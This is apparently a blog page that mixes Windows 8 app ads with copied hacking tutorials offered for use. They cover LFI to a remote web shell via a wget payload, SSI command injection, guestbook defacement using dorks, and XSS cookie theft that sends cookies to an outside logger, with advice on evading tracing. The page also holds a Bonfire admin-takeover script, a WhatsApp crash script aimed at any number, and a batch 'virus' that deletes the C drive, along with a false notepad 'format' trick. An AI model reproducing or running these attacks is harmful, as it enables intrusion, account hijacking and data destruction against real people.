http://apps.microsoft.com/windows/app/nros/2f6ace04-703d-4bee-a5cb-2af84c553215

Windows 8 Logo Game
http://apps.microsoft.com/windows/app/nros/2f6ace04-703d-4bee-a5cb-2af84c553215

HD Video player for windows 8 and 8.1

Download and enjoy the HD View
http://apps.microsoft.com/windows/en-us/app/kronus/d250d8cd-86d8-47d1-aedd-fff9a34aa2d8

Download and enjoy

Windows 8 users Just download the app and enjoy your 3d player and HD definition videos on your PC. and dont forgot to rate it. :)
http://apps.microsoft.com/windows/en-us/app/kronus/d250d8cd-86d8-47d1-aedd-fff9a34aa2d8

SQLI, RFI, LFI, XSS Tutorials

**********************Author NITIKESH PATTNAIK**********************************

Sqli (Sql Injections)

http://www.tizag.com/mysqlTutorial/mysql…ection.php

RFI (Remote File Inclusion)

http://www.moretricks.com/hacking-websit…emote-file

LFI (Local File Inclusion)

1 – Introduction
In this tutorial I show you how to get a shell on websites using Local File Inclusion vulnerabilities and
injection malicious code in proc/self/environ.Is a step by step tutorial.
2 – Finding LFI
- Now we are going to find a Local File Inclusion vulnerable website.So we found our target,lets check it.
http://www.website.com/view.php?page=contact.php
- Now lets replace contact.php with ../ so the URL will become
http://www.website.com/view.php?page=../
and we got an error
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337
big chances to have a Local File Inclusion vulnerability.Let’s go to next step.
- Now lets check for etc/passwd to see the if is Local File Inclusion vulnerable.Lets make a request :
http://www.website.com/view.php?page=../../../etc/passwd
we got error and no etc/passwd file
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337
so we go more directories up
http://www.website.com/view.php?page=../../../../../etc/passwd
we succesfully included the etc/passwd file.
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
3 – Checking if proc/self/environ is accessible
- Now lets see if proc/self/environ is accessible.We replace etc/passwd with proc/self/environ
http://www.website.com/view.php?page=../../../../../proc/self/environ
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at http://www.website.com Port 80
proc/self/environ is accessible.If you got a blank page,an error proc/self/environ is not accessible or the OS is FreeBSD.
4 – Injecting malicious code
- Now let’s inject our malicious code in proc/self/environ.How we can do that?We can inject our code in User-Agent HTTP Header.
Use Tamper Data Addon for Firefox to change the User-Agent.Start Tamper Data in Firefox and request the URL :
http://www.website.com/view.php?page=../../../../../proc/self/environ
Choose Tamper and in User-Agent filed write the following code :
<?system(‘wget http://hack-bay.com/Shells/gny.txt -O shell.php’);?>
{The Unknown: the link of the shell used has expired, use the Link I posted at the end of this Thread}
Then submit the request.
Our command will be executed (will download the txt shell from http://hack-bay.com/Shells/gny.txt {The Unknown: the link of the shell used has expired, use the Link I posted at the end of this Thread} and will save it as shell.php in the
website directory) through system(), and our shell will be created.If don’t work,try exec() because system() can be disabled on the webserver from php.ini.
5 – Access our shell
- Now lets check if our malicous code was successfully injected.Lets check if the shell is present.
http://www.website.com/shell.php
Our shell is there.Injection was succesfully.
Most of the Credits goes to: Konvict from glitcheaven.com

SSI (Server Side Inclusion)

1- What is It?
A Server Side Include Attack is an Extremely Useful attack for executing commands on the server. You need basic knowledge of Bash or Batch to know what commands could help compromise the server to do this.
2- What Sites are Vulnerable?
For a site to be vulnerable to SSI Injection, Apache needs Server Side Includes aloud in the config file or the file extention must end in ‘.shtml’ ‘.shtm’ or ‘.stm’ both Apache, lighthttpd and IIS support SSI.
3- Testing for SSI Injection
To audit a site to check if it is vulnerable to SSI Injection you search all the directories for ‘.shtml’ ‘.shtm’ or ‘.stm’ extentions, if you find any then its probably enabled, if you dont find any it still may be enabled. It effects pages with unsanitized requests, (eg no filters, filtering < !–#exec …–>) To test you enter the following command into the request
< !–#exec cmd=”ls” –>
If you get a filesystem output appear then it is vulnerable, if the server is Windows replace the ‘ls’ for ‘dir’
You test for SSI the same way as XSS, you can post the command into
- Textboxes/search boxes
- Headers
- Cookies
- Address Bar
4- Useful Commands
-Show Files Linux
< !–#exec cmd=”ls” –>
-Show Files Windows
< !–#exec cmd=”dir” –>
-Read /etc/passwd
<!–#include virtual=”/etc/passwd” –>
-What User Is the webserver running on
< !–#exec cmd=”whoami” –>
-Download a shell to the server to get full control
< !–#exec cmd=”wget “shell.php”” –>
5- Dorks
Simillar to SQLi dorks, they get a list of sites that may or may not be vulnerable to SSI Injection
inurl:index.shtml
inurl:index.shtm
inurl:index.stm
Theres a few to start you off, but it is easy as pie to think of your own.
All credits goes to: http://doonstuntsmania.com/

HTMLi (HTML Injection)

1- HTML Injection or Guestbook Deface is a way how you can deface a guestbook.
So basicully you can post a “hacked” comment to Guestbook. Also you can add music and more…
2- How to do it?
Firstly, you need a dork.
We will use this one
guestbook.asp
1. Now just simply search that on Google and you’ll find some guestbooks…
2. Pick one of the Guestbooks
3. Copy paste a html script (see bottom) as comment
4. Publish comment
5. Now, if it worked, it will show up as nice colorful text and some sexy music…
6. If it didn’t work, search another guestbook and try again.
So this is pretty useless but funn
Here is btw the guestbook which I hacked…
http://www.furoreinn.it/en/guestbook.asp
All credits goes to: Tuhoaja from pvhax.com
And here is something you will need for RFI and LFI: C99 Shell: http://www.mediafire.com/?b3sl39jusygszc3 (it’s in .php if you wanna change it to .txt you can just open it with notepad and that’s it)
Hope you all liked it this Thread full of Tutorials,
Thanks for reading,
The Unknown.
XSS (Cross Site Scripting)
In this TuT I will be explaining the procedure of Cookie Stealing via XSS in simple steps. It can be applied on any website but in this TuT I will use this :http://www.TheUnknown.com/
Step one: Finding a XSS vulnerability
Now everyone who wanna learn cookie stealing via XSS all ready know this , so I won’t explain it in detail here .
In here I will stick to GET variable XSS to make it easier.
Here’s our PoC XSS vulnerability:
http://www.TheUnknown.com/search.php?query=”><scblockedript>alert(123)</scblockedript&gt;
When this page is loaded a message will pop up saying ” 123 ” this means we got our Vulnerability.
Step two: Setting up a cookie stealer
We will use PHP surely , here’s an example of a simple cookie stealer :
<?php
$cookie = $HTTP_GET_VARS["cookie"];
$file = fopen(‘log.txt’, ‘a’);
fwrite($file, $cookie . “nn”);
fclose($file);
?>
( You can find lots of em all over HF all you have to do is to stick to the Search button on the top of the page )
There’s lots of ways to log cookie as well , the best one in my opinion can be found here ( It is more Secure ): http://ccl.whiteacid.org/ .If you use yours it will be easy to track you down this is why we will use this one cose it also gives you an anonymous account with a random ID number instead of a username . For this TuT I will be using this ID : 123456
Now lets check the service , and to do that , follow the link :
http://ccl.whiteacid.org/log.php?123456test_for_XSS.
As you see , THE ID MUST BE INCLUDED IN THE TEST URL .
Now we login to http://ccl.whiteacid.org/ and see the new entry with our IP, referer, user agent and of course the data “test_for_XSS”. The cookie logger works fine.
Step three: Logging a cookie
So we have a XSS vulnerability and we have a cookie logger. Now we just have to connect them to each other.
We make a new injection (instead of that alert thing) which sends the cookie data. It could look like this:
http://www.TheUnknown.com/search.php?query=”><scblockedript>location.href = ‘http://ccl.whiteacid.org/log.php?123456′+document.cookie;</scblockedript&gt;
If the site doesn’t use addslashes() or any other filters that mess up our injection, we have successfully captured the cookie and saved it in our account. From here, we can copy the users’ cookies (most commonly the sessions) to our own cookies and get into their accounts…
Step four: Filter evasion
Let’s say we encountered the following common problem: the target page uses addslashes() on the GET variable before printing it, which kills our injection by destroying our quotes. No problem, we just have to do it another way then.
We register a new account on a free hosting site (I’ll use the FreeWebs.com ) and make a new scblockedript file there. I make a file called cookiesteal.js and give it the following content:
location.href = ‘http://ccl.whiteacid.org/log.php?123456′+document.cookie;
Now we call the scblockedript through the XSS vulnerable page:
http://www.TheUnknown.com/search.php?query=”><scblockedript src=http://www.freewebs.com/uber0n/cookiesteal.js>
Login to http://ccl.whiteacid.org once again and you’ll see the new entry. However, remember NOT to register the account on the hosting site with your normal nickname and make sure you register using a good proxy so that you can’t be tracked. You can also ask XSSed.com to host your scblockedript files.
If you encounter other filters than addslashes, try running the scblockedripts through iframes, images etc.
Thanks for reading , Enjoy                                              *********TUT BY NE0N*************

Bonefire 0.7.1 - Reinstall Admin Account Exploit "python script"

#!/usr/bin/env python
# coding: utf-8
#
# Bonefire v.0.7.1 Reinstall Admin Account Exploit
#
# Author : Nitikesh Pattnaik
# 
# Analysis write-up : http://www.tekno-tricks.blogspot.com
# Description : 
# Forgotten controls lead to call install module which lead to
# create default administrator account again!
#
# TIMELINE
# 21 Apr 2014 14:00 –Vulnerability found
# 23 Apr 2014 21:20 – Analysis and write-up completed
# 23 Apr 2014 21:29 – First contact with lead developer of Bonfire
# 23 Apr 2014 21:33 – Response from lead developer
# 23 Apr 2014 21:52 – Vulnerability confirmed by lead developer
# 23 Apr 2014 21:55 – Vulnerability has been patched via following commit
# https://github.com/ci-bonfire/Bonfire/commit/9cb76c66babf89952c3d48279b026c59e198f46e

import urllib2
import sys
import re
target = sys.argv[1]
path = sys.argv[2]

if len(sys.argv) > 3:
     print "Usage : python bonfire www.target.com /path/"
     exit(0) 

content = urllib2.urlopen(target+path+"index.php/install/do_install").read()

if re.search('[admin@mybonefire.com]', content):
     print "Target is vulnerable!"
     print "Username : admin@mybonefire.com"
     print "Password : password"
else:
     print "Target is not vulnerable..."

WhatsApp Remote Crash on non-printable characters [Ne0n Hackers]

#!/usr/bin/python
#-*- coding: utf-8 -*

# Title: WhatsApp Remote Crash on non-printable characters
# Product: WhatsApp
# Vendor Homepage: http://www.whatsapp.com
# Vulnerable Version(s): 2.11.7 and prior on iOS
# Tested on: WhatsApp v2.11.7 on iPhone 5 running iOS 7.0.4
# Solution Status: Fixed by Vendor on v2.11.8
# Date: 8/04/2014
#
# Author:
# 	Nitikesh Pattnaik	@pattnaiknitikesh12@gmail.com	
#
# Custom message with non-printable characters will crash any WhatsApp client < v2.11.7 for iOS.
# It uses Yowsup library, that provides us with the options of registration, reading/sending messages, and even
# engaging in an interactive conversation over WhatsApp protocol
#
# More info at:
# 	http://www.seguridadofensiva.com/2014/04/crash-en-whatsapp-para-iphone-en-versiones-inferiores-a-2.11.7.html

import argparse, sys, os, csv
from Yowsup.Common.utilities import Utilities
from Yowsup.Common.debugger import Debugger
from Yowsup.Common.constants import Constants
from Examples.CmdClient import WhatsappCmdClient
from Examples.EchoClient import WhatsappEchoClient
from Examples.ListenerClient import WhatsappListenerClient
from Yowsup.Registration.v1.coderequest import WACodeRequest
from Yowsup.Registration.v1.regrequest import WARegRequest
from Yowsup.Registration.v1.existsrequest import WAExistsRequest
from Yowsup.Registration.v2.existsrequest import WAExistsRequest as WAExistsRequestV2
from Yowsup.Registration.v2.coderequest import WACodeRequest as WACodeRequestV2
from Yowsup.Registration.v2.regrequest import WARegRequest as WARegRequestV2
from Yowsup.Contacts.contacts import WAContactsSyncRequest

import threading,time, base64

DEFAULT_CONFIG = os.path.expanduser("~")+"/.yowsup/auth"
COUNTRIES_CSV = "countries.csv"

DEFAULT_CONFIG = os.path.expanduser("~")+"/.yowsup/auth"


######## Yowsup Configuration file #####################
# Your configuration should contain info about your login credentials to Whatsapp. This typically consist of 3 fields:\n
# phone:	Your full phone number including country code, without '+' or '00'
# id:		This field is used in registration calls (-r|-R|-e), and for login if you are trying to use an existing account that is setup
#		on a physical device. Whatsapp has recently deprecated using IMEI/MAC to generate the account's password in updated versions
#		of their clients. Use --v1 switch to try it anyway. Typically this field should contain the phone's IMEI if your account is setup on
#		a Nokia or an Android device, or the phone's WLAN's MAC Address for iOS devices. If you are not trying to use existing credentials
#		or want to register, you can leave this field blank or set it to some random text.
# password:	Password to use for login. You obtain this password when you register using Yowsup.
######################################################
MINE_CONFIG ="config.cfg"

def getCredentials(config = DEFAULT_CONFIG):
	if os.path.isfile(config):
		f = open(config)
		
		phone = ""
		idx = ""
		pw = ""
		cc = ""
		
		try:
			for l in f:
				line = l.strip()
				if len(line) and line[0] not in ('#',';'):
					
					prep = line.split('#', 1)[0].split(';', 1)[0].split('=', 1)
					
					varname = prep[0].strip()
					val = prep[1].strip()
					
					if varname == "phone":
						phone = val
					elif varname == "id":
						idx = val
					elif varname =="password":
						pw =val
					elif varname == "cc":
						cc = val

			return (cc, phone, idx, pw);
		except:
			pass

	return 0

def main(phone):
	credentials = getCredentials(MINE_CONFIG or DEFAULT_CONFIG )

	if credentials:
		
		countryCode, login, identity, password = credentials
		identity = Utilities.processIdentity(identity)

		password = base64.b64decode(password)

		# Custom message that will crash WhatsApp
		message = message = "\xf4\xaa\xde\x04\xbf"

		#print countryCode, login, identity, password
		wa = WhatsappEchoClient(phone, message)
		wa.login(login, password)
	
if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("number", help="Phone number to send the crash message")
    parser.add_argument("-v", "--verbose", help="increase output verbosity", action="store_true")
    args = parser.parse_args()

    Debugger.enabled = args.verbose
    main(args.number)

Stopwatch Sample for windows 8 store c#

http://code.msdn.microsoft.com/Stop-Watch-sample-For-2d40c49e

Top 12 Notepad Tricks

1) Notepad trick to use it as a Diary

• Open notepad
• Type .LOG
• Save the file as LOG.txt
• Write anything in it and it will be saved with the time when you edit it.

2) Notepad trick to Test Antivirus

• Open Notepad.
• Copy the code give below in the notepad file:
  X5O!P%@AP[4PZX54(P^) 7CC)7}$EICAR-STANDARD- ANTIVIRUS-TEST-FILE!$H+H*
• Save it with an .exe extension like testvirus.exe

3) Matrix Notepad Trick
@echo off
color 2
:start
echo %random% %random% % random% %random% %random % %random% %random% % random% %random% %random % %random% %random% % random% %random%
goto start
Save this file as Matrix.bat
Make sure the file type is kept as ALL FILES while saving it as a .bat file.
4) Notepad Trick to Open DVD Drive

• Open Notepad.
• Copy the code given below onto the notepad file:

Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

• Save it as “Anything.VBS”.

5) Notepad Trick to annoy your friends

• Open Notepad.
• Paste the following code in the notepad file:

@ECHO off
:Begin
msg * Hey
msg * Want to have Fun?
msg * You do?
msg * We will both have fun, alright?
msg * More fun?
GOTO BEGIN

• Save the file with any file name but with .bat as extension and close it. For eg. cool.bat

6) Notepad Trick to shutdown computer forcefully

• Open Notepad.
• Paste the following code in it:

@echo off
msg * Shutdown computer.
shutdown -c “Sleep Tight” -s

7) Notepad Trick to Lock Folders

Lets lock a folder using notepad trick which is named as PICS in your D: drive , whose path is D:PICS

Then the code should be something like this:
ren pics pics. {21EC2020-3AEA-1069- A2DD-08002B30309D}

Pics is your folder name. Use the name of the folder in place for pics. Save the text file as lock.bat in the same drive.

To unlock this locked folder:

Open another new notepad text file and type the following:
ren pics. {21EC2020-3AEA-1069- A2DD-08002B30309D} pics

Save the text file as key.bat in the same drive. Here again, pics is the name of the folder. Change it to the folder name you want to lock it.

8 ) Notepad Trick to type slowly

• Open Notepad.
• Paste the following code in the notepad file:

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject (“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate Notepad“”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

• Save the file with any name and with .vbs extension and close it.

Now open the file and see how freakishly slow the messages appear!

NOTE: In order to stop it. Follow the “Note” given in 10th Trick.

9) Infinite Notepad Trick

• Open Notepad.
• Paste the following code in your notepad file:

@ECHO off
:top
START %SystemRoot% system32notepad.exe
GOTO top

• Save the file with any name nut with .bat extension and close it.

10) Notepad Trick - Text to Audio

1. Open Notepad file on your Windows PC.
2. Copy and paste the below mentioned code :
   
   Dim msg, sapi
   msg=InputBox("Enter your text for conversion www–.techvorm.com","TechVorm Text-To-Audio Converter")
   Set sapi=CreateObject ("sapi.spvoice")
   sapi.Speak msg
3. Save this file with any name with .vbs as extension. For eg. Text-To- Audio.vbs

11) Notepad Trick - BUSH HID THE FACTS

• Open notepad.
• Type BUSH HID THE FACTS
• Save that file.
• Close it
• Open It Again See…

12) Notepad Trick Print Tree Root

Open NOTEPAD and enter {print tree root}
After that hit enter and type C:windowssystem
After that hit enter and type {print C:windowssystemwinlog
Hit enter and type 4*43″$@[455] 3hr4~
Then save the file as teekids in C:windowssystem.
13) World Trade Center Notepad Trick
Open your Notepad
Type the flight number Q33N
Increase the Font Size to 72
Change the Font to Wingdings
14) Notepad Trick to Format Hard disk
Open Notepad and type:
a) Code : 01001011000111110010010101010101010000011111100000
b) Save As it as anything.EXE
c) Run it. Beware that the entire HDD will be erased

I hope you enjoyed these awesome and cool Notepad tricks,

Creating Virus That Format C Drive

In this trick we will be creating virus in notepad using batch file programming. This virus is really simple to create yet very dangerous. opening this file we delete or format C drive of your computer.

    1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y

  
    2. Then Save this file as virus.bat
    3. Now, running this file format C Drive.

Matrix Effect Trick

matrix effect trick
In this trick i will show you to make a batch file in notepad which will act as matrix effect that you might have seen in movies.Matrix effect is basically number flashes in green color.

    1. Open Noteapad and copy below code into it.

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

    2. Now save this file as Matrix.bat (name can be anything but .bat is must)
    3. Open your saved file and you will have matrix effect on your screen.